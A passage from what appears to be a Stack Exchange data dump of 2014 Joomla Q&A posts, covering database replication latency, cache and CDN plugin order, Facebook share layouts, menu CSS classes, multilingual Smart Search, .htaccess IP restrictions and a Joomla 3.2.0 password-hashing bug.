OwnerUserId="52" LastEditorUserId="159" LastEditDate="2014-05-10T12:32:21.917" LastActivityDate="2014-05-10T12:32:21.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="735" PostTypeId="1" CreationDate="2014-05-09T18:49:47.440" Score="9" ViewCount="1077" Body="&lt;p&gt;I've got a mysql server with in North America (using Amazon RDS) and a read replica. I've also got a read replica for a new region - Australia.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Australian server is brutally slow due to the dynamic nature of Joomla reading off the main DB server in N.America. I've tried to use mysql proxy for this to split the read/write but that isn't a long term solution. &lt;a href=&quot;http://dev.mysql.com/downloads/mysql-proxy/&quot; rel=&quot;noreferrer&quot;&gt;Mysql proxy&lt;/a&gt; looks to be effectively dead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What other options do I have?&lt;/p&gt;&#xA;" OwnerUserId="83" LastEditorUserId="155" LastEditDate="2014-05-18T13:56:27.617" LastActivityDate="2014-06-02T16:21:37.210" Title="Scaling Joomla with Database read write splitting" Tags="|joomla-2.5|server-response-time|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="737" PostTypeId="1" AcceptedAnswerId="739" CreationDate="2014-05-09T20:11:30.803" Score="6" ViewCount="100" Body="&lt;p&gt;I'm running several plugins to try to speed up our site and make the load on the server a bit lighter. I've got JotCache and NoNumber Joomla CDN running, along with the template itself compressing some things. It does all appear to be working, but I'm wondering:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should the CDN or the Cache plugin be last in the order?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a best practice for this?&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-05-09T20:42:55.830" Title="What should be last, cache plugins or CDN plugins?" Tags="|joomla-2.5|cache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="738" PostTypeId="1" AcceptedAnswerId="759" CreationDate="2014-05-09T20:40:32.077" Score="1" ViewCount="1072" Body="&lt;p&gt;I'm looking for a way to add a Facebook share button to my Joomla 3.X site that will add the  following to Facebook.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Article Image&lt;/li&gt;&#xA;&lt;li&gt;Article Title&lt;/li&gt;&#xA;&lt;li&gt;Link back to article url&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This image shows the 'desired' layout (on left and highlighted in green) and the layout I currently have (on right and highlighted in red). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/axFLz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on extensions or code modifications?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="381" LastActivityDate="2014-05-11T18:20:24.350" Title="Facebook share with intro and link back to site" Tags="|component|extensions|plugin|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="739" PostTypeId="2" ParentId="737" CreationDate="2014-05-09T20:42:55.830" Score="1" Body="&lt;p&gt;I'm also running JotCache and NoNumber CDN, I put JotCache last. The reasoning is that we want the CDN substitutions to happen before the caching, that way the CDN plugin only has to run once for each page.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2014-05-09T20:42:55.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="740" PostTypeId="1" AcceptedAnswerId="743" CreationDate="2014-05-09T22:47:39.613" Score="10" ViewCount="2328" Body="&lt;p&gt;I'm trying to understand the difference between the &quot;deeper&quot; and &quot;parent&quot; class names applied to parent &lt;code&gt;li&lt;/code&gt; elements in a default Joomla 2.5 menu. They always seem to be applied together? It is always &quot;deeper parent&quot;, never one or the other as far as I can see?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;menu&quot;&amp;gt;&#xA;&amp;lt;li class=&quot;item-108 deeper parent&quot;&amp;gt;&amp;lt;a href=&quot;/menu1&quot; &amp;gt;Menu1&amp;lt;/a&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;    &amp;lt;li class=&quot;item-110&quot;&amp;gt;&amp;lt;a href=&quot;/menu1/sub11&quot; &amp;gt;Sub11&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li class=&quot;item-121&quot;&amp;gt;&amp;lt;a href=&quot;/menu1/sub12&quot; &amp;gt;Sub12&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li class=&quot;item-122&quot;&amp;gt;&amp;lt;a href=&quot;/menu1/sub13&quot; &amp;gt;Sub13&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;item-109 deeper parent&quot;&amp;gt;&amp;lt;a href=&quot;/menu2&quot; &amp;gt;Menu2&amp;lt;/a&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;    &amp;lt;li class=&quot;item-130&quot;&amp;gt;&amp;lt;a href=&quot;/menu2/sub21&quot; &amp;gt;Sub21&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;item-111 active deeper parent&quot;&amp;gt;&amp;lt;a href=&quot;/menu3&quot; &amp;gt;Menu3&amp;lt;/a&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;    &amp;lt;li class=&quot;item-118&quot;&amp;gt;&amp;lt;a href=&quot;/menu3/sub31&quot; &amp;gt;Sub31&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li class=&quot;item-120 current active&quot;&amp;gt;&amp;lt;a href=&quot;/menu3/sub32&quot; &amp;gt;Sub32&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li class=&quot;item-131&quot;&amp;gt;&amp;lt;a href=&quot;/menu3/sub33&quot; &amp;gt;Sub33&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;item-112&quot;&amp;gt;&amp;lt;a href=&quot;/menu4&quot; &amp;gt;Menu4&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Why do the parent &lt;code&gt;li&lt;/code&gt;s have both &quot;deeper&quot; and &quot;parent&quot; classes applied when there is a sub menu? Why not simply &quot;parent&quot;?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there a situation when one is applied and the other isn't? ie. when perhaps &quot;deeper&quot; is omitted?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2014-05-10T14:38:39.803" LastActivityDate="2014-05-10T14:38:39.803" Title="Understanding CSS classes applied to menus: &quot;deeper&quot; and &quot;parent&quot;" Tags="|joomla-2.5|menu|css|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="741" PostTypeId="1" AcceptedAnswerId="769" CreationDate="2014-05-10T01:46:24.940" Score="7" ViewCount="1170" Body="&lt;p&gt;This may be due to a bug or (more likely) to my inability to configure the Smart Search component, but... this is what's happening:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have a multilingual site: primary &quot;English&quot;, secondary &quot;Italian.&quot;&lt;/li&gt;&#xA;&lt;li&gt;The multilingual feature is used essentially to show different menus and some content.&lt;/li&gt;&#xA;&lt;li&gt;Most of the content is shared and declared as Language=&quot;All&quot;.&lt;/li&gt;&#xA;&lt;li&gt;When I perform a search from the &quot;English side&quot; content declared as &lt;strong&gt;&quot;English&lt;/strong&gt;&quot; and &quot;&lt;strong&gt;All&lt;/strong&gt;&quot; is found.&lt;/li&gt;&#xA;&lt;li&gt;When I perform a search from the &quot;Italian side&quot; &lt;strong&gt;only&lt;/strong&gt; content flagged as &lt;strong&gt;&quot;Italian&quot;&lt;/strong&gt; is found (&lt;strong&gt;and content from &quot;All&quot; is not found&lt;/strong&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In the &quot;Content Maps&quot; there was a &quot;Language&quot; branch with a (bold) indication stating something about the fact that the branch was inactive as I have the &quot;Language filter&quot; plugin enabled (&lt;strong&gt;of course I do: is there any other way to make a multilingual site?&lt;/strong&gt;). I tried to delete that branch but... nothing changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Joomla! 3.2.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My issue is&lt;/strong&gt;: when searching from &quot;Italian side&quot; I am not finding content from &quot;All&quot;. I would expect a similar behaviours as with the &quot;English side&quot;.&lt;/p&gt;&#xA;" OwnerUserId="322" LastEditorUserId="159" LastEditDate="2014-05-10T13:14:21.837" LastActivityDate="2015-11-26T23:32:01.907" Title="How to use Smart Search in a multilingual environment?" Tags="|cms|joomla-3.x|smartsearch|multilingual|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="743" PostTypeId="2" ParentId="740" CreationDate="2014-05-10T06:33:52.107" Score="10" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;.deeper&lt;/strong&gt; is applied when the menu item has a submenu (item)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;.parent&lt;/strong&gt; is applied if this menu item is parent of another menu item&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you have a menu showing all levels then both classes are applied to a parent menu item. But sometimes you want to show just the first level in your main menu and show the other levels in a side menu, for example. .deeper is then not applied on the main menu because it has only 1 level. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This edited screenshot should help understanding the classes better:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p9lK9.png&quot; alt=&quot;menu CSS classes&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2014-05-10T06:33:52.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="744" PostTypeId="2" ParentId="731" CreationDate="2014-05-10T09:27:03.670" Score="0" Body="&lt;p&gt;If you need to use Bootstrap 3, in my opinion you should namespacing the entire Bootstrap 3 CSS (like Community Builder V2), e.g. joomla core function to edit menu's and module's in the frontend get broken, if you use BS3 for frontend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quote from Community Builder forum:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original Link: &lt;a href=&quot;http://www.joomlapolis.com/forum/6-news-and-publicity/224106-community-builder-20-b2-released?start=6&quot; rel=&quot;nofollow&quot;&gt;http://www.joomlapolis.com/forum/6-news-and-publicity/224106-community-builder-20-b2-released?start=6&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;But will CB2.0 use Bootstrap 2 or 3?&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Bootstrap 3.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;And will CB always load the complete Bootstrap library, also if just&#xA;  the login-module on a site), because Bootstrap is loading also huge&#xA;  unnecessary stuff.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;No, we don't use any of Twitter Bootstrap JS.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We only use its CSS at this time (we've other, better, jQuery plugins&#xA;  that provide the JS functionality). We also load Twitter Bootstrap&#xA;  with a namespace so it's impossible for it to conflict or alter&#xA;  styling outside of the namespace. Right now we do not load it all the&#xA;  time. We only load our template.css and fontawesome.css at all times&#xA;  when CBs template is loaded. Note CBs modules do not use CB styling.&#xA;  They are designed to match Joomla 1:1 so the modules fit in correctly&#xA;  with your site.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;An another solution is to use a framework like Skeleton or Foundation, to avoid the above problem.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2014-05-10T09:27:03.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="746" PostTypeId="2" ParentId="735" CreationDate="2014-05-10T12:36:24.630" Score="2" Body="&lt;p&gt;Joomla (and other similar CMSs) have been developed for a LAMP architecture, with the common hosting in mind. E.g. Low latency between Web server and Database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Amazon RDS is designed to scale a relational database in the cloud. So, as regional distribution and redundancy are important, higher lantencies are expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your have specific requirements asking for Amazon RDS, you can configure:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Joomla with a local MySQL for site general management (static assets, easy to replicate)&lt;/li&gt;&#xA;&lt;li&gt;Amazon RDS connection, an application-specific connection for your development&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Third-party extensions, developed with low-latency in mind, are not going to work with Amazon RDS.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-05-10T12:36:24.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="747" PostTypeId="2" ParentId="725" CreationDate="2014-05-10T14:13:46.973" Score="3" Body="&lt;p&gt;I have done the same thing for research journal last year in Joomla 2.5. I needed to use Community Builder for the author profiles.&#xA;Look here for example: &lt;a href=&quot;http://www.bwpat.de/ausgabe/25/schwarz-bretschneider&quot; rel=&quot;nofollow&quot;&gt;http://www.bwpat.de/ausgabe/25/schwarz-bretschneider&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I used the extension fieldsattach to add a new field for the author IDs (and some more fields). In this field the author IDs in the correct order are manually written, i.e. 1345,2651&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I copied the module article author and changed to code to get multiple authors. So now on each article page the authors are shown automatically in the right column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in the template overrides I could also get the author information from the CB user table, to show the author names and institutions just after the heading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&#xA;For showing the &lt;strong&gt;articles in the CB user profile&lt;/strong&gt; (=author), I added a CB query field where I would look up the article id in the fieldsattach value table:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;SELECT fa.articleid,fa.value,con.title FROM &lt;code&gt;xxxx_fieldsattach_values&lt;/code&gt;&#xA;  AS fa LEFT JOIN (&lt;code&gt;xxxx_content&lt;/code&gt; AS con) ON (con.&lt;code&gt;id&lt;/code&gt; = fa.&lt;code&gt;articleid&lt;/code&gt;)&#xA;  WHERE fa.&lt;code&gt;fieldsid&lt;/code&gt; = '14' AND fa.&lt;code&gt;value&lt;/code&gt; LIKE '%[user_id]%'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And in the row field I would add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;index.php?option=com_content&amp;amp;view=article&amp;amp;id=[column_articleid]&quot;&amp;gt;[column_title]&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="223" LastEditorUserId="223" LastEditDate="2014-05-14T08:57:02.410" LastActivityDate="2014-05-14T08:57:02.410" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="749" PostTypeId="1" CreationDate="2014-05-11T03:41:47.740" Score="3" ViewCount="75" Body="&lt;p&gt;This question is for J3.3+&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to set up my extensions in a password protected directory on one web site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will act as repository for customized extensions to be used by several other Joomla! sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to use the 'Install from URL' in the Extension Manager of my other Joomla! web sites to install those packages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a password protected directory breaks this feature and throws an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am considering 2 solutions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) A 'hack' on the Extension Manager to submit the username/password&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Restricting access to only specific domains (those could include Joomla! sites on subdomains or external domains)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A combination of both would be ideal as urls are easy to spoof, so the first level of protection would the .htaccess password protected directory, and the second level would be to only allow access from specific URLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using HostGator on a reseller account.&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="52" LastEditDate="2014-05-11T09:44:12.533" LastActivityDate="2014-05-14T00:02:31.727" Title="Using Extension Manager to Install Packages from a Password Protected Directory" Tags="|extensions|.htaccess-configuration|joomla-3.3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="750" PostTypeId="2" ParentId="749" CreationDate="2014-05-11T04:17:14.913" Score="2" Body="&lt;p&gt;While I'm not sure this is a good idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use IP restrictions, allowing access only from the IP address of the website you want to have access. &lt;strong&gt;&lt;em&gt;This does present an issue if other websites are on the same IP address.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# ALLOW BY IP&#xA;&amp;lt;Limit GET POST&amp;gt; &#xA; order deny,allow&#xA; deny from all&#xA; allow from 111.111.111.111&#xA; allow from 222.222.222.222&#xA; allow from 333.333.333.333&#xA;&amp;lt;/Limit&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://httpd.apache.org/docs/2.2/mod/core.html#limit&quot; rel=&quot;nofollow&quot;&gt;Limit directive&lt;/a&gt; affects the directory it's placed in and sub-directories. You would probably be better off using  if you can figure out the exact HTTP that's being used.&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="107" LastEditDate="2014-05-11T21:33:57.580" LastActivityDate="2014-05-11T21:33:57.580" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="751" PostTypeId="1" AcceptedAnswerId="753" CreationDate="2014-05-11T06:00:48.743" Score="3" ViewCount="367" Body="&lt;p&gt;I tried to register a new user from Joomla frontend, registration was successful plus activation via email was also successful, now when i try to login using the new credentials, i get a error &quot; Username and password don not match or you don't have an account yet &quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What's interesting?&lt;/strong&gt; &lt;br&gt;&#xA;-&gt; when i registered from frontend and set the password to &lt;code&gt;read&lt;/code&gt; , this value was found in &lt;em&gt;_users table&lt;/em&gt; &lt;code&gt;f0bb7564f8c84d1cbdada8dc04493be2&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-&gt; &amp;amp; when i set the password to &lt;code&gt;read&lt;/code&gt; using &lt;code&gt;Joomla backend&lt;/code&gt;, this value was found in &lt;em&gt;_users table&lt;/em&gt; &lt;code&gt;0edda82c8ad9aa4da0dfe3b64f249c18:dqRwd90MzB21LP8waOjW0XEQzt4LSZoE&lt;/code&gt; and the login was successful?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I AM CONFUSED, WHY TWO DIFFERENT VALUES FOR SAME PASSWORD &lt;code&gt;read&lt;/code&gt;&#xA;&lt;br&gt;[Joomla Version : 3.2]&#xA;[PHP Version : 5.4]&lt;/p&gt;&#xA;" OwnerUserId="383" LastEditorUserId="159" LastEditDate="2014-05-11T18:44:26.750" LastActivityDate="2014-05-11T18:44:26.750" Title="User registration error : Two different values for password in database?" Tags="|joomla-3.x|authentication|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="752" PostTypeId="2" ParentId="713" CreationDate="2014-05-11T08:27:24.033" Score="0" Body="&lt;p&gt;To pass params to your model functions add the below to your view display task&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$model = $this-&gt;getModel();&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then prefix getProject() and the others with &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$model-&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then you can pass params to the methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Happy Joomla!ng&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2014-05-11T08:27:24.033" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="753" PostTypeId="2" ParentId="751" CreationDate="2014-05-11T09:29:32.793" Score="1" Body="&lt;p&gt;I have seen this issue with 3.2.0 in particular, especially if the site has been updated from 3.1.*  Although I can't remember exactly, I think it has something to do with the change of password hashing from md5 to bcrypt or the addition of Two factor authentication.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tried &quot;updating to 3.2.3&quot; by installing the update package through extension manager.&#xA;Checking the database is updated and then try again?&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2014-05-11T09:29:32.793" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="754" PostTypeId="2" ParentId="751" CreationDate="2014-05-11T12:26:46.637" Score="2" Body="&lt;p&gt;Joomla 3.2.0 had a major bug with password storage which was fixed with Joomla 3.2.1. You issues sounds quite like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://community.joomla.org/blogs/leadership/1790-update-on-321-and-security-enhancements.html&quot; rel=&quot;nofollow&quot;&gt;http://community.joomla.org/blogs/leadership/1790-update-on-321-and-security-enhancements.html&lt;/a&gt; for some more details&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-05-11T12:26:46.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="755" PostTypeId="1" CreationDate="2014-05-11T12:38:23.887" Score="1" ViewCount="376" Body="&lt;p&gt;I have a site based on Joomla. It worked perfectly but I had to move it from one server to another. Since that there's a problem with external URLs - they are rewritten in such way: foreignsite.com =&gt; mysite.com/&quot;foreignsite.com&quot; Needless to say that it causes 404 error. I've tried: renaming .htaccess and changing joomla SEO options. Both with no luck and no effect at all. I have completely no idea what to try to do next.&#xA;The server is running on apache, PHP 5.3, Joomla 3.1.1.&#xA;I kindly ask for your help.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2016-05-01T21:29:27.910" Title="Problem with external links remapped" Tags="|url|apache|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="756" PostTypeId="2" ParentId="755" CreationDate="2014-05-11T13:54:05.247" Score="1" Body="&lt;p&gt;use &lt;code&gt;http://foreignsite.com&lt;/code&gt; instead of &lt;code&gt;foreignsite.com&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="87" LastActivityDate="2014-05-11T13:54:05.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="757" PostTypeId="2" ParentId="727" CreationDate="2014-05-11T14:31:50.847" Score="2" Body="&lt;p&gt;When you call &lt;strong&gt;independent PHP scripts&lt;/strong&gt; for AJAX callbacks, you have to check how they live along the regular Joomla! site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a common Apache-Joomla setup, first .htaccess applies several rules to define security restrictions, SEF processing, etc. After that, index.php takes control, initializes the CMS, routes the call to the right component, and finally generate the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, it seems &lt;em&gt;Apache is delegating the call to com_content component, instead of calling your script&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-05-11T14:31:50.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="759" PostTypeId="2" ParentId="738" CreationDate="2014-05-11T14:51:46.870" Score="4" Body="&lt;p&gt;&lt;strong&gt;About Facebook wide-image layout&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Facebook chooses the layout according several internal parameters to maximize views, click-rate, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no fixed rule.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there are several &lt;strong&gt;recommendations&lt;/strong&gt; to fill:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The aspect ratio is very specific: image widths need to be 1.91 times the height.&lt;/li&gt;&#xA;&lt;li&gt;For the News Feed, Facebook recommends thumbnail images of 400×209 pixels.&lt;/li&gt;&#xA;&lt;li&gt;Images that are smaller than these dimensions will be resized to either 154×154 or 90×90 pixels.&lt;/li&gt;&#xA;&lt;li&gt;On mobile, Facebook’s recommended image size is 560×292. Images smaller than this will be resized to 100×100 pixels.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;About Links back to your site&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several ways to submit infomation:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Implementing Facebook &quot;official&quot; widgets (and associated Joomla! extensions), you are restricted to implemented features. For example &lt;strong&gt;Facebook Comments&lt;/strong&gt;: &lt;a href=&quot;https://developers.facebook.com/docs/plugins/comments/&quot; rel=&quot;nofollow&quot;&gt;https://developers.facebook.com/docs/plugins/comments/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Implementing a Facebook App, and auto-posting with Facebook API your own Links or Posts. E.g. general Facebook Post definition: &lt;a href=&quot;https://developers.facebook.com/docs/graph-api/reference/v2.0/post&quot; rel=&quot;nofollow&quot;&gt;https://developers.facebook.com/docs/graph-api/reference/v2.0/post&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;About Open Graph tags&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add Open Graph tags to your page. In this way you can better define how Facebook &quot;reads&quot; the page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;About Open Graph actions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if your are submitting Posts with an App, there are new Open Graph actions to describe how the content was generated (Facebook assigns more newsfeed space to user-generated media):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Explicit Sharing action&lt;/strong&gt;, it's used to mark your posts as shared explicitly by a user  (requires Facebook approval)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;User Generated Photo action&lt;/strong&gt;, to mark photos as user-generated E.g. selfies (requires Facebook approval)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;References&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Facebook &quot;Official&quot; Widgets: &lt;a href=&quot;https://developers.facebook.com/products/sharing/&quot; rel=&quot;nofollow&quot;&gt;https://developers.facebook.com/products/sharing/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Great article: &lt;a href=&quot;http://www.jonloomer.com/2013/09/11/facebook-link-thumbnail-image-dimensions/&quot; rel=&quot;nofollow&quot;&gt;http://www.jonloomer.com/2013/09/11/facebook-link-thumbnail-image-dimensions/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;General examples: &lt;a href=&quot;http://www.extly.com/autotweetng-documentation-faq/577-facebook-post-layouts-how-to-choose-autotweetng-format.html&quot; rel=&quot;nofollow&quot;&gt;http://www.extly.com/autotweetng-documentation-faq/577-facebook-post-layouts-how-to-choose-autotweetng-format.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;OG Tags &lt;a href=&quot;https://developers.facebook.com/docs/opengraph/getting-started&quot; rel=&quot;nofollow&quot;&gt;https://developers.facebook.com/docs/opengraph/getting-started&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;OG Actions: &lt;a href=&quot;https://developers.facebook.com/docs/opengraph/using-actions/v2.0#photos&quot; rel=&quot;nofollow&quot;&gt;https://developers.facebook.com/docs/opengraph/using-actions/v2.0#photos&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Facebook has an official plugin for WP, the same information about what can be done also applies to Joomla https. Plugin source code is very useful. &lt;a href=&quot;http://developers.facebook.com/docs/wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://developers.facebook.com/docs/wordpress/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2014-05-11T15:02:26.557" LastActivityDate="2014-05-11T15:02:26.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
